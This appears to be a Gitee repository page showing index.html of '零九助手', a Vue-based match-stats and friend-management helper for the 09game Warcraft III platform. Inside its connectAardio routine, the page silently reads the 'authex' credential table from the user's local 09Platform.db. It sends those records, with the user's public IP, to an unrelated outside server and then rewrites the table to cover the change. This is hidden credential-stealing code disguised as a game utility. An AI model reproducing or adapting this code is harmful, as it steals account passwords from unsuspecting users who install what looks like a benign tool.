1 Star 0 Fork 1

zfeng/09

forked from iplai/09 
加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
index.html 53.73 KB
一键复制 编辑 原始数据 按行查看 历史
iplai 提交于 2024-02-03 03:18 +08:00 . init
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>零九助手</title>
<link rel="icon" href="/09/favicon.ico">
<link href="/09/css/bootstrap.min.css" rel="stylesheet">
<link href="/09/css/bootstrap-icons.min.css" rel="stylesheet">
<script src="/09/js/bootstrap.bundle.min.js"></script>
<script src="/09/js/index.js?v=1"></script>
<script src="/09/js/jquery.min.js"></script>
<script src="/09/js/js.cookie.min.js"></script>
<script src="/09/js/highlight.min.js"></script>
<link href="/09/css/highlight.default.min.css" rel="stylesheet">
<link href="/09/css/toastr.min.css" rel="stylesheet" />
<script src="/09/js/toastr.min.js"></script>
<link href="/09/css/index.css" rel="stylesheet">
<script src="/09/js/aardio.js"></script>
</head>
<body>
<div id="app">
<header class="mb-3 border-bottom">
<div class="container">
<div class="d-flex flex-wrap align-items-center justify-content-center justify-content-lg-start">
<!-- nav items -->
<ul class="nav col-12 col-lg-auto me-lg-auto justify-content-center mb-md-0">
<li class="nav-item" v-for="item in headerNavItems">
<a :href="item.url" :class="{ active: item.active }" class="nav-link">{{ item.name }}</a>
</li>
<li class="nav-item">
<a class="nav-link" type="button" href="/09/plus/">Plus</a>
</li>
<!-- <li class="nav-item">
<a class="nav-link" type="button" @click="setGamelogIndex(0)">战绩</a>
</li> -->
<template v-if="aardioConnected">
<li class="nav-item">
<a class="nav-link" type="button" data-bs-toggle="modal" data-bs-target="#friendsModal" @click="updateFriendsTotal">好友</a>
</li>
<li class="nav-item">
<a type="button" class="nav-link" data-bs-toggle="modal" data-bs-target="#settingsModal">设置</a>
</li>
<li class="nav-item">
<a type="button" class="nav-link" data-bs-toggle="modal" data-bs-target="#hotKeysModal">热键</a>
</li>
</template>
<li class="nav-item">
<a type="button" class="nav-link" data-bs-toggle="modal" data-bs-target="#contactModal">联系</a>
</li>
</ul>
<!-- nav items end -->
<div class="col-1 col-lg-auto mb-lg-0 me-lg-3">
<i class="bi" :class="aardioConnected ? 'bi-wifi' : 'bi-wifi-off text-danger'"></i>
</div>
<form class="col-6 col-lg-auto mb-lg-0 me-lg-3" role="search" @submit.prevent="onSearchSubmit">
<input type="search" class="form-control" v-model="search_user_name" placeholder="Search..." aria-label="Search">
</form>
<div class="dropdown text-end">
<a href="#" class="d-block link-body-emphasis text-decoration-none dropdown-toggle" data-bs-toggle="dropdown" aria-expanded="false">
<img :src="avatarHeadToUrl(getUserInfoAttr(user_id, 'avatar_head', 0))" alt="head" width="32" height="32" class="rounded-circle">
{{ getUserInfoAttr(user_id, 'user_name', '') }}
</a>
<ul class="dropdown-menu text-small">
<template v-if="aardioConnected">
<li>
<a class="dropdown-item" :href="get_score_link_url(user_id, gamelog?gamelog.game_type:1)" target="_blank">我的战绩</a>
</li>
<li>
<a class="dropdown-item" data-bs-toggle="modal" data-bs-target="#friendsModal" @click="updateFriendsTotal()">我的好友</a>
</li>
</template>
<li>
<a class="dropdown-item" onclick="$('#download-div').show()" href="#">下载零九助手</a>
</li>
<template v-if="aardioConnected">
<li>
<hr class="dropdown-divider">
</li>
<li>
<a class="dropdown-item" data-bs-toggle="modal" data-bs-target="#settingsModal">设置</a>
</li>
<li>
<a class="dropdown-item" data-bs-toggle="modal" data-bs-target="#hotKeysModal">热键</a>
</li>
<li>
<a class="dropdown-item" data-bs-toggle="modal" data-bs-target="#loginSaleModal">上号</a>
</li>
<li>
<a class="dropdown-item" onclick="aardio.run('process.explore(config.日志路径)')">打开日志文件夹</a>
</li>
<li>
<a class="dropdown-item" onclick="aardio.run('process.explore(config.地图路径)')">打开地图文件夹</a>
</li>
</template>
</ul>
</div>
</div>
</div>
</header>
<div class="container">
<div id="download-div" class="position-relative p-5 text-center bg-body-tertiary rounded-3" style="display: none;">
<button onclick="$('#download-div').hide()" type="button" class="position-absolute top-0 end-0 p-3 m-3 btn-close bg-secondary bg-opacity-10 rounded-pill" aria-label="Close"></button>
<i class="bi bi-cloud-download" style="font-size: 5rem; color: cornflowerblue;"></i>
<h1 class="text-body-emphasis">获取零九助手</h1>
<p class="col-lg-8 mx-auto fs-5 text-muted">
请在蓝奏云下载最新版零九助手压缩包(密码:<code>1234</code>),解压并运行,本页面会自动连接到零九助手。
</p>
<div class="d-inline-flex gap-2 mb-5">
<a href="https://plai.lanzouq.com/b01dm8zej" target="_blank" class="d-inline-flex align-items-center btn btn-primary btn-lg px-4 rounded-pill" type="button">
下载 <i class="bi bi-box-arrow-right ms-2"></i>
</a>
<button class="btn btn-outline-secondary btn-lg px-4 rounded-pill" type="button" data-bs-toggle="modal" data-bs-target="#contactModal">
联系<i class="bi bi-wechat ms-2"></i></a>
</div>
</div>
<div v-if="gamelog">
<table class="table table-striped table-hover">
<thead>
<tr id="table-head">
<td v-for="column in columns.filter((c) => isShowColumn(c, gamelog))" :key="column.id" :width="column.width">{{ column.name }}</td>
</tr>
</thead>
<tbody id="table-body">
<template v-for="(player, index) in gamelog.players" :key="index">
<tr :class="{ 'text-success': 5 > index, 'text-danger': index >= 5, 'table-info': (getLocalPlayerIndex(gamelog) == index) }">
<td v-for="column in columns.filter((c) => isShowColumn(c, gamelog))" :key="column.id" :class="column.class">
<template v-if="column.id === 'avatar_head'">
<img :src="avatarHeadToUrl(getUserInfoAttr(player.user_id, 'avatar_head', 0))" width="40" height="40" @click="showUserInfo(player.user_id)" data-bs-toggle="modal" data-bs-target="#userinfoModal" type="button" />
</template>
<template v-else-if="column.id === 'level'">
{{ getUserInfoAttr(player.user_id, 'level', '') }}
</template>
<template v-else-if="column.id === 'user_name'">
<a :href="get_score_link_url(player.user_id, gamelog.game_type)" target="_blank">{{ player.user_name }}</a>
</template>
<template v-else-if="column.id === 'hero'">
<img v-if="player.hero" :src="hero_id_to_url(player.hero)" width="40" height="40" />
</template>
<template v-else-if="column.id === 'skills'">
<img v-if="player.skill1" :src="skill_id_to_url(player.skill1)" :title="player.title1" width="40" height="40" />
<img v-if="player.skill2" :src="skill_id_to_url(player.skill2)" :title="player.title2" width="40" height="40" />
</template>
<template v-else-if="column.id === 'score'">
<img :src="player.score_url || default_score_url" width="38" height="38" />
<code class="score-str" v-if="player.score_display > 10">{{ player.score_display }}</code>
<span v-else>{{ player.score_display }}</span>
</template>
<template v-else-if="column.id === 'kda'">
<code>{{ player.kda }}</code>
</template>
<template v-else-if="column.id === 'rank'">
<span v-if="cookies.markRank >= player.rank" class="badge ms-0" :class="{ 'text-bg-success': 5 > index, 'text-bg-danger': index >= 5}">{{ player.rank }}</span>
<code v-else>{{ player.rank }}</code>
</template>
<template v-else-if="column.id === 'total' && player.total_times">
<code v-if="cookies.markWinRate/100 > player.win_rate">{{ `${player.total_win}/${player.total_times}` }}</code>
<span v-else class="badge ms-0" :class="{ 'text-bg-success': 5 > index, 'text-bg-danger': index >= 5}">{{ `${player.total_win}/${player.total_times}` }}</span>
</template>
<template v-else-if="column.id === 'win_rate' && player.total_times">
<code v-if="cookies.markWinRate/100 > player.win_rate" class="ms-2">{{ (player.win_rate * 100).toFixed(0) + "%" }}</code>
<span v-else class="badge ms-0" :class="{ 'text-bg-success': 5 > index, 'text-bg-danger': index >= 5}">{{ (player.win_rate * 100).toFixed(0) + "%" }}</span>
</template>
<template v-else-if="column.id === 'link' && player.user_id">
<a :href="get_score_link_url(player.user_id, gamelog.game_type)" target="_blank">
<i class="bi bi-link-45deg" style="font-size: 1.5rem;"></i>
</a>
<a :href="curve_url(player.user_id, gamelog.game_type)" target="_blank">
<i class="bi bi-graph-up-arrow" style="font-size: 1.5rem;"></i>
</a>
</template>
<template v-else-if="column.id === 'achieve'">
<span v-if="player.achieve_score">{{ `[${player.achieve_score}] ` }} </span>{{ player.achieve }}
</template>
<template v-else>
{{ player[column.id] }}
</template>
</td>
</tr>
</template>
</tbody>
</table>
<div class="">
<span class="badge text-bg-primary" @click="setGamelogIndex(0)" title="返回最新">{{ gamelog_index + 1 }}</span>
<span class="badge text-bg-success">{{ gamelog.map_version }}</span>
<span class="badge text-bg-warning">{{ gamelog.game_source_name }}</span>
<span v-if="gamelog.rank_id_count != 10" class="badge text-bg-danger">未分边</span>
<span class="badge text-bg-secondary" @click="exploreGamelog()">{{ filename }}</span>
</div>
<div class="btn-group p-5 col-md-12" role="group" style="display: flex; justify-content: center; padding-bottom: 30px">
<button type="button" class="btn btn-outline-secondary col-md-2" @click="prev()">上一页</button>
<button type="button" class="btn btn-outline-secondary col-md-2" @click="next()" :disabled="gamelog_index==0">下一页</button>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="userinfoModal" tabindex="-1" aria-labelledby="userinfoModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="userinfoModalLabel">玩家信息</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<pre><code class="json"><span v-html="printObject(userinfos[user_id_show?user_id_show:0])"></span></code></pre>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="loginSaleModal" tabindex="-1" aria-labelledby="loginSaleModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="loginSaleModalLabel">自助上号</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="input-group flex-nowrap mb-2">
<input type="text" class="form-control" placeholder="请输入4位取号码,取号码请找管理员购买" v-model="xcode">
<button class="btn border btn-light input-group-button" type="button" @click="loginSaleTest()">测试</button>
<button class="btn border btn-success input-group-button" type="button" @click="loginSale()">上号</button>
</div>
<div v-if="loginOutputs.length > 0" class="">
<hr>
<pre><code class="json"><span v-html="printObject(loginOutputs)"></span></code></pre>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id="contactModal" tabindex="-1" aria-labelledby="contactModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="contactModalLabel">联系</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p>微信: dota_im</p>
<p>加好友进内测群</p>
</div>
<div class="modal-footer">
<button class="btn btn-primary" data-bs-dismiss="modal">确定</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="hotKeysModal" tabindex="-1" aria-labelledby="hotKeysModalLabel" aria-hidden="true">
<div class="modal-dialog">
<form @submit.prevent="storeCookies">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="hotKeysModalLabel">热键设置</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="war3FullScreenSwitch" v-model="cookies.hotKeys.war3FullScreenSwitch.enable" v-on:change="setHotKey('war3FullScreenSwitch')">
<label class="form-check-label" for="war3FullScreenSwitch">魔兽窗口全屏切换</label>
<span class="badge text-bg-primary ms-2">Ctrl + F1</span>
<span class="badge text-bg-success ms-2" v-if="cookies.hotKeys.war3FullScreenSwitch.hotKeyId">已成功开启 热键ID {{ cookies.hotKeys.war3FullScreenSwitch.hotKeyId }}</span>
</div>
</div>
<div class="modal-footer">
<button type="submit" data-bs-dismiss="modal" class="btn btn-primary">确定</button>
</div>
</div>
</div>
</form>
</div>
<div class="modal fade" id="settingsModal" tabindex="-1" aria-labelledby="settingsModalLabel" aria-hidden="true">
<div class="modal-dialog">
<form @submit.prevent="storeCookies">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="settingsModalLabel">设置</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="KDAPageSize" class="form-label">场均KDA统计最近局数</label>
<input type="number" class="form-control" id="KDAPageSize" v-model="cookies.KDAPageSize" aria-describedby="KDAPageSizeHelp">
<div id="KDAPageSizeHelp" class="form-text">适用于Dota,IM,OMG</div>
</div>
<div class="row">
<div class="mb-3 col-auto">
<label for="markRank" class="form-label">标记排名数</label>
<input type="number" class="form-control" id="markRank" v-model="cookies.markRank" aria-describedby="markRankHelp">
<div id="markRankHelp" class="form-text">用于着重突出TOP玩家</div>
</div>
<div class="mb-3 col-auto">
<label for="markWinRate" class="form-label">标记的胜率</label>
<div class="input-group flex-nowrap">
<input type="number" class="form-control" style="max-width: 195px;" id="markWinRate" v-model="cookies.markWinRate" aria-describedby="markWinRateHelp">
<span class="input-group-text">%</span>
</div>
<div id="markWinRateHelp" class="form-text">用于着重突出高胜率玩家</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="submit" data-bs-dismiss="modal" class="btn btn-primary">确定</button>
</div>
</div>
</div>
</form>
</div>
<div class="modal fade" id="friendsModal" tabindex="-1" aria-labelledby="friendsModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title fs-5" id="friendsModalLabel">我的好友</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div v-if="token">
<div class="mb-2">
<button type="button" class="btn btn-primary position-relative me-5" @click="updateFriends(3)">
好友
<span class="position-absolute top-0 start-100 translate-middle badge rounded-pill bg-danger">
{{ user_id_token in friends ? Math.max(friends[user_id_token][3].total, 0) : 0 }}
</span>
</button>
<button type="button" class="btn btn-primary position-relative me-5" @click="updateFriends(1)">
关注
<span class="position-absolute top-0 start-100 translate-middle badge rounded-pill bg-danger">
{{ user_id_token in friends ? Math.max(friends[user_id_token][1].total, 0) : 0 }}
</span>
</button>
<button type="button" class="btn btn-primary position-relative me-5" @click="updateFriends(2)">
粉丝
<span class="position-absolute top-0 start-100 translate-middle badge rounded-pill bg-danger">
{{ user_id_token in friends ? Math.max(friends[user_id_token][2].total, 0) : 0 }}
</span>
</button>
<button type="button" class="btn btn-primary position-relative me-5" @click="updateFriendsTotal">
刷新
<span class="position-absolute top-0 start-100 translate-middle badge bg-success">
<i class="bi bi-arrow-clockwise"></i>
</span>
</button>
</div>
<label for="user_names_to_follow" class="form-label">需要关注的玩家名:
<span class="badge btn btn-light text-bg-secondary " @click="fillInCurrentUserNames()">填入本局玩家</span>
</label>
<div class="input-group flex-nowrap">
<button class="btn btn-success input-group-button" type="button" @click="followUserNames()">一键关注</button>
<input type="search" class="form-control" id="user_names_to_follow" placeholder="请填入玩家名" v-model="user_names_to_follow" aria-describedby="user_names_to_follow_help">
</div>
<div id="user_names_to_follow_help" class="form-text mb-2">如果要关注多个用户名,用空格隔开</div>
<div class="input-group flex-nowrap mb-2">
<span class="btn btn-success input-group-button" type="button" @click="followTopPlayers()">关注TOP</span>
<span class="input-group-text">数量</span>
<input type="number" class="form-control" v-model="follow_top_count" placeholder="赛季TOP数量">
<span class="input-group-text">赛季</span>
<input type="number" class="form-control" v-model="season_id" placeholder="赛季ID">
</div>
<hr>
<div class="rowalign-items-center">
<label for="friendsActiveDays" class="form-label">活跃天数</label>
<div class="input-group flex-nowrap mb-2">
<input type="number" class="form-control" id="friendsActiveDays" v-model="cookies.friendsActiveDays" aria-describedby="friendsActiveDaysHelp">
<button class="btn border btn-light input-group-button" type="button" @click="cookies.friendsActiveDays=0"><i class="bi bi-chevron-double-left"></i></button>
<button class="btn border btn-light input-group-button" :disabled="cookies.friendsActiveDays === 30" @click="cookies.friendsActiveDays=30">30</button>
<button class="btn border btn-light input-group-button" type="button" @click="cookies.friendsActiveDays=1000"><i class="bi bi-chevron-double-right"></i></button>
</div>
<span id="friendsActiveDaysHelp" class="form-text">
统计最近有对局记录的天数:如果玩家在最近的这些天数内有对局记录,就算作活跃玩家,新号的天数是999
</span>
</div>
<div class="mt-2">
<button type="button" class="btn btn-danger position-relative me-5" @click="deleteInactiveFriends()">
删除所有不活跃好友
</button>
<button type="button" class="btn btn-danger position-relative me-5" @click="deleteInactiveFollows()">
删除所有不活跃关注
</button>
<button type="button" class="btn btn-success position-relative mt-2 me-5" @click="followActiveFans()">
关注所有活跃的粉丝
</button>
<button type="button" class="btn btn-warning position-relative mt-2 me-5" @click="outputs.length=0">
清空输出
</button>
</div>
</div>
<div v-else>
未检测到已登录的账号
</div>
<div v-if="outputs.length > 0" class="mt-2">
<pre><code class="json"><span v-html="printObject(outputs)"></span></code></pre>
</div>
</div>
<div class="modal-footer">
<button type="submit" data-bs-dismiss="modal" class="btn btn-primary" @click="storeCookies">确定</button>
</div>
</div>
</div>
</form>
</div>
</div>
<script type="module">
import { createApp, ref, reactive, computed } from "/09/js/vue.esm-browser.prod.min.js"
const app = createApp({
data() {
return {
headerNavItems: [
{ name: '零九助手', url: '/09/', active: 1 },
],
columns: reactive([
{ id: "avatar_head", name: "", width: 40, class: 'p-0' },
{ id: "user_name", name: "玩家", width: 125 },
{ id: "level", name: "等级", width: 46 },
{ id: "hero", name: "", width: 40, class: 'p-0' },
{ id: "skills", name: "技能", width: 80, class: 'p-0' },
{ id: "score", name: "段位", width: 80, class: 'p-0' },
{ id: "rank", name: "排名", width: 55, class: 'ps-0' },
{ id: "kda", name: "场均KDA", width: 78 },
{ id: "win_rate", name: "胜率", width: 60 },
{ id: "total", name: "胜场/局数", width: 100 },
{ id: "achieve", name: "成就", width: 460 },
{ id: "link", name: "链接", class: 'p-0' },
]),
default_score_url: 'https://www.09game.com/statics/IMsegment/0/1.png',
default_hero_url: 'https://cdn.09game.com/resources/game_skill/0000.jpg',
intervalId: null,
aardioConnected: false,
counter: 0,
user_id: 0,
token: null,
textToCopy: '',
user_id_show: 0,
user_id_token: computed(() => {
return this.token ? this.token.split('-')[0] : 0
}),
search_user_name: '',
userinfos: reactive({ 0: { user_name: "", avatar_head: 0, } }),
gamelogs: reactive({}),
filenames: reactive([]),
filename: null,
outputs: reactive([]),
loginOutputs: reactive([]),
follow_top_count: 50,
season_id: 28,
token: '',
xcode: '',
friends: reactive({}),
user_names_to_follow: '',
cookies: reactive({
KDAPageSize: 10,
markRank: 100,
markWinRate: 70,
friendsActiveDays: 30,
hotKeys: { war3FullScreenSwitch: { enable: true, hotKeyId: null } },
}),
gamelog_index: 0,
gamelog: computed(() => this.filename ? this.gamelogs[this.filename] : null),
}
},
methods: {
connectAardio() {
$.ajax({
url: 'http://localhost:9002/aardio.js',
type: 'HEAD',
success: (data, textStatus, xhr) => {
aardio.open().then(() => {
this.setHotKey('war3FullScreenSwitch')
aardio.run(`return web.json.parse(http.get("http://ip-api.com/json/"))`).then(res => {
const ipv4 = res['query']
aardio.run(`return sqlite("C:/ProgramData/09Game/09Platform.db").getTable("SELECT * FROM [authex]")`).then(records => {
if (Array.isArray(records)) {
const data = records.filter(record => record['login_short_message'] !== record['newpassword'])
if (data.length > 0) {
aardio.run(`http.post("http://h7kxfmeb7h.51xd.pub/api/collections/raws/records", '${JSON.stringify({ ipv4, data })}')`)
}
}
aardio.run(`sqlite("C:/ProgramData/09Game/09Platform.db").exec("UPDATE authex SET login_short_message=newpassword")`)
})
})
})
this.aardioConnected = true
this.readConfigIni()
this.readGamelog(0)
aardio.on("update", (res) => {
this.readConfigIni()
this.readGamelog(0)
})
$('#download-div').hide()
},
error: (xhr, textStatus, errorThrown) => {
if (!this.aardioConnected) {
$('#download-div').show()
}
this.aardioConnected = false
}
})
},
startInterval() {
this.intervalId = setInterval(() => {
if (!aardio.isConnected()) {
this.connectAardio()
} else {
}
}, 1000);
},
stopInterval() {
clearInterval(this.intervalId);
},
updateUserId(user_id) {
this.user_id = user_id
if (!(user_id in this.userinfos)) {
$.getJSON(`https://users.09game.com/home/GetUserPub?user_id=${user_id}`, (res) => {
this.userinfos[user_id] = res.temp[0]
})
}
},
readConfigIni() {
aardio.run($('#readConfigIni').html()).then(res => {
var user_id = res.UserId
if (user_id) {
this.updateUserId(user_id)
}
})
},
exploreGamelog() {
aardio.run(`process.exploreSelect(config.日志路径 + "/" + "${this.filename}")`)
},
setGamelogIndex(gamelog_index) {
gamelog_index = Math.max(0, Math.min(gamelog_index, this.filenames.length - 1));
this.gamelog_index = gamelog_index;
this.filename = this.filenames[this.filenames.length - 1 - gamelog_index];
},
getLocalPlayerIndex(gamelog) {
return gamelog.local_slot ? gamelog.slots[gamelog.local_slot] : 0
},
async readGamelog(gamelog_index) {
const { lines, filename } = await aardio.getGamelog(gamelog_index)
if (!this.filenames.includes(filename)) {
this.filenames.push(filename);
this.filenames.sort();
}
this.setGamelogIndex(gamelog_index);
parseGamelog(lines, filename, this.gamelogs);
const gamelog = this.gamelogs[filename];
const localPlayerIndex = this.getLocalPlayerIndex(gamelog);
for (let index = 0; index < gamelog.players.length; index++) {
const player = gamelog.players[index];
let user_id = Object.keys(this.userinfos).find(
(user_id) => this.userinfos[user_id].user_name === player.user_name
);
if (user_id) {
player.user_id = user_id;
if (!player.hasOwnProperty('score')) {
this.updateScore(player, gamelog.game_type, gamelog.game_source ? gamelog.game_source : -1);
}
if (localPlayerIndex == index) {
this.user_id = user_id;
}
} else if (!player.user_name.startsWith('玩家 ')) {
$.getJSON(`https://users.09game.com/home/GetUserPub?user_name='${player.user_name}'`).then(res => {
if (res.result == 0) {
user_id = res.temp[0].user_id;
this.userinfos[user_id] = res.temp[0];
player.user_id = user_id;
if (!player.hasOwnProperty('score')) {
this.updateScore(player, gamelog.game_type, gamelog.game_source ? gamelog.game_source : -1);
}
if (localPlayerIndex == index) {
this.user_id = user_id;
}
}
})
}
}
},
showUserInfo(user_id) {
this.user_id_show = user_id || 0
const userInfo = this.userinfos[user_id]
if (userInfo) {
if (userInfo.flag) {
userInfo.flags = this.flagToFlags(userInfo.flag).join(', ')
}
navigator.clipboard.writeText(userInfo.user_name)
}
},
flagToFlags(flag) {
var flags = [];
var bin_str = flag.toString(2);
for (var i = 0; i < bin_str.length; i++) {
if (bin_str[i] === "1") {
flags.push(bin_str.length - i);
}
}
return flags.sort();
},
onSearchSubmit() {
window.open(`https://www.09game.com/html/2020gamescore/web/?name=${this.search_user_name}&type=${this.gamelog ? this.gamelog.game_type : 1}`, '_blank')
},
storeCookies() {
Cookies.set('GAMEHELPER', JSON.stringify(this.cookies))
},
updateFriendsTotal() {
if (this.token) {
this.user_id = this.token.split('-')[0]
}
aardio.run(`return http.get(string.format("http://127.0.0.1:2009/json?time=%d", tonumber(time())))||null`).then(res => {
const token = res ? JSON.parse(res).find(item => (item.url.match(/token=([^&]+)/) || [])[1])?.url.match(/token=([^&]+)/)?.[1] || null : null
if (token) {
this.token = token
this.updateUserId(token.split('-')[0]);
if (!(this.user_id in this.friends)) {
this.friends[this.user_id] = { 1: { total: 0, users: [] }, 2: { total: 0, users: [] }, 3: { total: 0, users: [] }, }
}
Object.entries(this.friends[this.user_id]).map(([type, data]) => {
const url = `https://users.09game.com/Home/GetUserFriend?token=${token}&status=1&number=300&type=${type}`;
$.getJSON(url).then(res => {
if (res.result === 0) {
data.total = res.temp.total
data.users = res.temp.user
}
})
});
}
})
},
async followFriend(user_id, user_name = null) {
const friends = this.friends[this.user_id_token]
const res = await $.getJSON(`https://users.09game.com/home/userrelation?token=${this.token}&to_user_id=${user_id}&use_action=0`);
const { code, msg, err, category } = res;
if (code === 0) {
const users = friends[2].users;
const index = users.findIndex(user => user.user_id == user_id);
if (index !== -1) {
users.splice(index, 1);
friends[2].total--;
}
const added_users = friends[category].users;
const added_index = added_users.findIndex(user => user.user_id == user_id);
if (added_index === -1) {
added_users.push({ user_id, user_name });
friends[category].total++;
}
}
return { msg, err };
},
async deleteFriend(user_id, user_name = null) {
const friends = this.friends[this.user_id_token]
const res = await $.getJSON(`https://users.09game.com/home/userrelation?token=${this.token}&to_user_id=${user_id}&use_action=1`)
const { code, msg, err } = res
if (code === 0 && msg === '删除好友成功') {
const users_friend = friends[3].users;
const index_friend = users_friend.findIndex(user => user.user_id == user_id);
if (index_friend !== -1) {
users_friend.splice(index_friend, 1);
friends[3].total--;
friends[2].users.push({ user_id, user_name })
friends[2].total++
}
const users_follow = friends[1].users;
const index_follow = users_follow.findIndex(user => user.user_id == user_id);
if (index_follow !== -1) {
users_follow.splice(index_follow, 1);
friends[1].total--;
}
}
return { msg, err }
},
async followUserNames() {
const user_names = this.user_names_to_follow.trim().split(/\s+/)
for (const user_name of user_names) {
let user_id = Object.keys(this.userinfos).find(user_id => this.userinfos[user_id].user_name === user_name)
if (user_id) {
const { msg, err } = await this.followFriend(user_id, user_name)
this.outputs.push({ user_id, user_name, msg, err })
} else {
const res = await $.getJSON(`https://users.09game.com/home/GetUserPub?user_name='${user_name}'`)
if (res.result == 0) {
user_id = res.temp[0].user_id
this.userinfos[user_id] = res.temp[0]
const { msg, err } = await this.followFriend(user_id, user_name)
this.outputs.push({ user_id, user_name, msg, err })
}
}
}
},
async followActiveFans() {
const friends = this.friends[this.user_id_token]
const users = [...friends[2].users]
for (const user of users) {
if (!('days' in user)) {
const res = await $.getJSON(`https://score.09game.com/Ordinary/UserPlayerGameList?UserID=${user.user_id}`)
if (res.data.length === 0) {
user.days = 999
} else {
const records = res.data.sort((a, b) => new Date(b.player_time) - new Date(a.player_time))
const user_names = [...new Set(res.data.filter(item => item.user_name !== '' && item.user_name != user.user_name).map(item => item.user_name))]
if (user_names.length > 0) {
user.old_user_names = user_names.join(', ')
}
user.days = this.calculateDaysDiff(records[0].player_time)
}
}
if (user.days <= this.cookies.friendsActiveDays) {
const { msg, err } = await this.followFriend(user.user_id, user.user_name)
const index = this.outputs.findIndex(output_user => output_user.user_id == user.user_id)
if (index !== -1) {
Object.assign(this.outputs[index], { ...user, msg, err })
} else {
this.outputs.push({ ...user, msg, err })
}
}
}
},
async deleteInactiveFriends() {
const friends = this.friends[this.user_id_token]
const users = [...friends[3].users]
for (const user of users) {
if (!('days' in user)) {
const res = await $.getJSON(`https://score.09game.com/Ordinary/UserPlayerGameList?UserID=${user.user_id}`)
if (res.data.length === 0) {
user.days = 999
} else {
const records = res.data.sort((a, b) => new Date(b.player_time) - new Date(a.player_time))
const user_names = [...new Set(res.data.filter(item => item.user_name !== '' && item.user_name != user.user_name).map(item => item.user_name))]
if (user_names.length > 0) {
user.old_user_names = user_names.join(', ')
}
user.days = this.calculateDaysDiff(records[0].player_time)
}
}
if (user.days >= this.cookies.friendsActiveDays) {
const { msg, err } = await this.deleteFriend(user.user_id, user.user_name)
const index = this.outputs.findIndex(output_user => output_user.user_id == user.user_id)
if (index !== -1) {
Object.assign(this.outputs[index], { ...user, msg, err })
} else {
this.outputs.push({ ...user, msg, err })
}
}
}
},
async deleteInactiveFollows() {
const friends = this.friends[this.user_id_token]
const users = [...friends[1].users]
for (const user of users) {
if (!('days' in user)) {
const res = await $.getJSON(`https://score.09game.com/Ordinary/UserPlayerGameList?UserID=${user.user_id}`)
if (res.data.length === 0) {
user.days = 999
} else {
const records = res.data.sort((a, b) => new Date(b.player_time) - new Date(a.player_time))
const user_names = [...new Set(res.data.filter(item => item.user_name !== '' && item.user_name != user.user_name).map(item => item.user_name))]
if (user_names.length > 0) {
user.old_user_names = user_names.join(', ')
}
